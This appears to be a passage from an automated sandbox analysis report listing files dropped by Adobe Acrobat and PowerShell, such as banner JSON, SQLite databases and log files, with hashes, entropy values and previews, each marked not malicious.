Size (bytes):	295
Entropy (8bit):	5.291069574218105
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVjIRfgIc4UXjb24kF0YkUuqoAvJfzdPeUkwRe9:YvXKXVjgUTbd/Gb8Ukee9
MD5:	0914E26474B46BA0FC2726EBD579D369
SHA1:	7680195047386223C3E2B4F5CD61911D6C604A86
SHA-256:	15FD870588D9ACEC1E2B6EC360086A887D34AA24F8BED98CC87C353BE0E3739C
SHA-512:	DFE07AA1D4E9A8809F5CE35220A9403A572F1B1D1C933129C54D7E2344F344EEFE582DDC414032DECEA2DAD9771C2C290FEF0DF24CFC75DF5818A561A2B44C25
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce6af91c-2ebf-4cfc-82b8-828515860a1b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736706129297,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.271125897337111
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVjIRfgIc4UXjb24kF0YkUuqoAvJfYdPeUkwRe9:YvXKXVjgUTbd/Gg8Ukee9
MD5:	7EC4523D3C5969EBC004B2E128AD7A12
SHA1:	A85E7EC698DA0A4352AB5954960E43935803C731
SHA-256:	7AB77AC50B2B6D5B1A45ED55479C8FF917266D6FBD428FE7306D49E6E6B90F7A
SHA-512:	C2D6BB9FC650A4F25D74CEFDF227E2353FF0C769E4293C7C782AD4FCEFA7B0C59E6EAB6948DE29A42DB09BF70B08B1FA7533D4693EB39FC86334ECCEED2E8716
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce6af91c-2ebf-4cfc-82b8-828515860a1b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736706129297,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.256966914209759
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVjIRfgIc4UXjb24kF0YkUuqoAvJf+dPeUkwRe9:YvXKXVjgUTbd/G28Ukee9
MD5:	1B624BCAFB9331F63AB805F7D605571B
SHA1:	D0C202F8F7EBA4DAE4C23FCE42F331598444BEEE
SHA-256:	249BADE6671E24FFA7CCEE34AA0988FA1E65178DBB37A5C63B1640D49A931E0F
SHA-512:	C1D9AA9F73AE0E528A3F6290ABF65FD821699EF642B4C44D280AF498AC1260368E33222A887039FEE59DB456A79CA38EBAAE1E72CF6D44F73FAF085F9418368C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce6af91c-2ebf-4cfc-82b8-828515860a1b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736706129297,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2548714424519565
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVjIRfgIc4UXjb24kF0YkUuqoAvJfbPtdPeUkwRe9:YvXKXVjgUTbd/GDV8Ukee9
MD5:	BE8E45E67D85C10553A72CE6C1B8C972
SHA1:	9BA361466C22A0D21B2C10F0AD3F8B12C6D61629
SHA-256:	BDC900877AA839DEDEAE507FEE3785EBFD8F00078E09A23EE39F98F32B967131
SHA-512:	F7782CD9BF95F440FE6A8BE633FD812ABE55A24C921AAD70C2953481B4BAACA5F2A4D7D7A074ED9A56AC4C36A589E2B80C5D42441B9412B4924500FBD32F5937
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce6af91c-2ebf-4cfc-82b8-828515860a1b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736706129297,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.257853102065575
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVjIRfgIc4UXjb24kF0YkUuqoAvJf21rPeUkwRe9:YvXKXVjgUTbd/G+16Ukee9
MD5:	5DD8E187F3E6AF4CD830E3F6C35C0E2A
SHA1:	9C457334C907C237FB4C83309378BFF67A96FF03
SHA-256:	5DD0B94174B92A7F983C731C94FD3DD801F480CF7D4AA6967398139D270903C3
SHA-512:	A972589CF07097E513D6A031D2A02235BD18A0DCA5040A24082DD6027F25E2504EBA2E6C5FF2556ECA9208A83FBA9599B73F86F379CAA3DE2BCCE5549C48C44C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce6af91c-2ebf-4cfc-82b8-828515860a1b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736706129297,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.659058443042636
Encrypted:	false
SSDEEP:	24:Yv6XiUX+amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSvn:YvrwABgkDMUJUAh8cvMv
MD5:	6762C10F01DAE84DAEEC2EA866E1DEC4
SHA1:	969428A38CB1962DA8450CB21F172E60C840B1CC
SHA-256:	EEFF45B398110F3A8D4408F5E9FED0E00F2F776205CF30BD11D3BEA92C0A7723
SHA-512:	BA840804DD6B2260E2F791328BB77D97AF52D92E911B731E9C01EFA4119239AE0C484FC2CD766B89C1994DAA7FB7E33C9C7938924FDAF7BC2F2C5AD57C370506
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce6af91c-2ebf-4cfc-82b8-828515860a1b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736706129297,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.235678631905573
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVjIRfgIc4UXjb24kF0YkUuqoAvJfshHHrPeUkwRe9:YvXKXVjgUTbd/GUUUkee9
MD5:	EC5178E6073EC1815EC3EB0BEDAF2B98
SHA1:	6E12953AF37BF1BFE5D491A947208DCB2B3ED03C
SHA-256:	96E5E960BA1CC5CEBDE8DBBBC5F11DA2014925818921D2D74DA8D36014F7FD97
SHA-512:	629BB224AB1C082C6EE301259B3B0F0BC4DD8391DC12F99E32EEFF8F2B4AB592210F2EF7762DA2AABBE7C7FEC8B5602CB015C4EBD5A77E6E4A33A1413B8DA7A1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce6af91c-2ebf-4cfc-82b8-828515860a1b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736706129297,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.242574685350215
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVjIRfgIc4UXjb24kF0YkUuqoAvJTqgFCrPeUkwRe9:YvXKXVjgUTbd/GTq16Ukee9
MD5:	8996359753646FC3FA9E690903A9F9B2
SHA1:	5D185887DED431BACC8940AB4CDCEFE641EA4B4E
SHA-256:	920219338553669A1C268C46D38604EE5B1FA216D995C542823CECA039049285
SHA-512:	CBA82D172575E97DD5AD12BCE39249138036A8D2C22EA400B07EAF22B22FA7E5B1F01A9DBDAF8E0DA41DC7A051229D7D9B93CB78F2FF2931F61B4B8DFCAEBBDB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce6af91c-2ebf-4cfc-82b8-828515860a1b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736706129297,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143914197451172
Encrypted:	false
SSDEEP:	48:YzaKop+KsYxULfyJtC73MIRc17TEgRhMri09W:zKHKsY+LfyzuVi1LvKW
MD5:	889DB06D537484CA591442CDB45D4AE2
SHA1:	6019C302D58AB4538CFDFBE765157C86F2559E38
SHA-256:	E95C58DC34C19E65E804F326BEA78D39E7CB311F081D35F93E9F3FAA3DF63F02
SHA-512:	88EB44C53EA89DB2A4D2D8D4A4091BF4C13C87F268AB392D4096A23C7531343DE377F089DCDBDFBF8A5DBD42B7DFEFBE855E8921DA021D6FFC15089A6F4800B6
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"4ff572d6790964c451009d0185a3a1f3","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736528798000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"37e9a211ecd924286acf69185009642c","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736528798000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"2a7d46cebc104fd6d3ab3d76983fba55","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736528798000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"1a93bde93c9d1ae18facdd6629c65e4e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736528798000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b6e29e3eaa7d8f498b80fc73514f8057","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736528798000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a13c98f12f3f4efe646f6e62657ba1c7","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3192205503475132
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Yeaia+EXSqQ:TGufl2GL7msUKB0M0+Tb608YtiDr1iq
MD5:	ADDB47F98E3D162A936F156F6F3736BB
SHA1:	BFF9E931D16BF9A32D9AB555DE014B6BDA7F603A
SHA-256:	C3B683749BE216059909A6B4F03648940DA528DD923FAD6C6A6F43A194E540A9
SHA-512:	DFDAB9D242DC55DE59787B6548FF479AA551B05D7107E5C6A09247142250BA1CCCDD241C999FCE04C95164B6ED88CC000D17F09C116F76574CFE821C6C22A33C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.782482001789668
Encrypted:	false
SSDEEP:	24:7+t/l3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Yeaia/EXSqXlyGKaioqLhx/XYKz:7MRKB0M0+Tb608Yti6rGKcqFl2GL7ms7
MD5:	6C936E46A196EE6D4E96819AC16151FA
SHA1:	B3D78EF312CC553369E301DFD49E3536BFEC3B50
SHA-256:	2AA7881C14973BD7B4F13286DA84837289BAE9F2E2A57AEC6F48BEA347CFAA49
SHA-512:	A1DC5394F9A912E1ED838AF2483575876B55FA8343C79BF62AA887A56B53C682441E1053EA367496884E9169B8C193F3E0C0AD29BACCDA60613CEEC714D0DCFF
Malicious:	false
Preview:	.... .c........O..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg229llwsj7FUzNh9SWIzBRCoYyu:6a6TZ44ADE22yS7FUzn9SzK
MD5:	B85E4B48C1EE052136FB91484A2E26E3
SHA1:	F7067823BB5881E22E9F3A6CB86FD9446E1EC13E
SHA-256:	91F345A71C35F99F350A5BC516DC21014990CB01C6A8A1BA4B332AB146609CDF
SHA-512:	AFB57A6053827E34845BC95548163AE9281678C67028FF6A18448ADF75CB0E76824D1A6B25CDB71373424BACF948120BD5EA3A065A7AB121B4D13A90277A4DED
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSI63354.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5193370621730837
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE34f9:Qw946cPbiOxDlbYnuRK+bD3m
MD5:	FD59CCD72038D26EDAE300C08C24CD85
SHA1:	B66DD37BFC910C37341AA987F65C81DD63550A45
SHA-256:	586186A1D513F47E778DF3FE3E1B1B374E1F71CB9659C1853C6BA0703083D69F
SHA-512:	B041197602AC08420324021349D1A584BAC72C24F327422FC12B2A9C0DE5245B396EF51DD296E8D82A9FE7CEC010AAC0D5F49A0FD0CBB738CFE19B1E061BAEBD
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.0.6.:.3.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vlcp2kb2.bwk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zdsmbham.uvp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91r5jhpr_10m5j6r_63c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-06-32-654.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15100
Entropy (8bit):	5.3626179829468965
Encrypted:	false
SSDEEP:	384:sAn/1/i/N/P/k41F484t4X404u4tC4Q4f5DOiOefMfgS5SFS6Sz95P1H1L1lHhA/:sONaV38YF3kMh3MCzaJHN0okMDoPpBzY
MD5:	4B117025092C54079E1ADCC17B8F9DF8
SHA1:	8772C31F939E24FCBAFC6A60B6AA491C6546B610
SHA-256:	B5F5FF2292DC4BA923415701117FBE470EAEE106AB235AEA188C25FC483E8D9B
SHA-512:	5C80C9E6855942022558A3A14271600D056F0818A0C825F5E62D313AE099CE676287689342E2A60620AC29E0961097BEA7D578483AA772FDF4121634D6710CA8
Malicious:	false
Preview:	SessionID=ebec049f-fc94-4aec-9d55-8a9e79cb1f9d.1736528792693 Timestamp=2025-01-10T12:06:32:693-0500 ThreadID=3128 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ebec049f-fc94-4aec-9d55-8a9e79cb1f9d.1736528792693 Timestamp=2025-01-10T12:06:32:715-0500 ThreadID=3128 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ebec049f-fc94-4aec-9d55-8a9e79cb1f9d.1736528792693 Timestamp=2025-01-10T12:06:32:715-0500 ThreadID=3128 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ebec049f-fc94-4aec-9d55-8a9e79cb1f9d.1736528792693 Timestamp=2025-01-10T12:06:32:715-0500 ThreadID=3128 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ebec049f-fc94-4aec-9d55-8a9e79cb1f9d.1736528792693 Timestamp=2025-01-10T12:06:32:715-0500 ThreadID=3128 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.401373249193314
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zma:EGvIcNYdENOx
MD5:	86F1BF93BD760870A18955DB9C245D1B
SHA1:	1AE28BAE72821CD2A5F6BCC07BDF94ADA8014117
SHA-256:	267E4506F030531059A038E1F372166519DF9B298C1C9C18822DF1106472EDA7
SHA-512:	76545909BE30B126AAAA3581D6686A51C046D826DCEA99C665C62EFB9CF31ED554E12AE6417462AFFB38CEADC3820656D04F6228DC3070FF4DC7F9B7A6B274DE
Malicious:	false
